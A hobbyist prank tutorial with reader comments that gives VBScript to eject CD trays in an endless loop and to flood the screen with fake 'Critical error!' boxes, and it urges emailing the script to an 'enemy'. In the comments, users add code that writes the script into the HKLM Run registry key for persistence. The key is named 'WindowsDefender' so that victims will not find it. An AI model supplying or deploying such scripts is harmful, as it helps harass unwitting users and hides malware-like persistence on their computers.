Visual Basic Scripting Tricks (2)

7,141

11

18

Posted

Introduction: Visual Basic Scripting Tricks (2)

visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: Continous Disk Opener

this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it

Share

Recommendations

  • Epilog Challenge 9

    Epilog Challenge 9
  • First Time Author Contest 2018

    First Time Author Contest 2018
  • Paper Contest 2018

    Paper Contest 2018
user

We have a be nice policy.
Please be positive and constructive.

Tips

Questions

18 Comments

any script to copy the file to the start up folder automatically?

lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb

 it stops when you restart :)

Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.

You could just type

do
lol=msgbox("Critical Error",16,"ERROR")
loop

for a continuous error message

Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
---------------

adds it to the registry for start up

Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.

Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
----------------------------------

the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry

lol i had to hold dowwn the power button to make it stop

I ran the script on my own PC. I couldn't stop laughing :)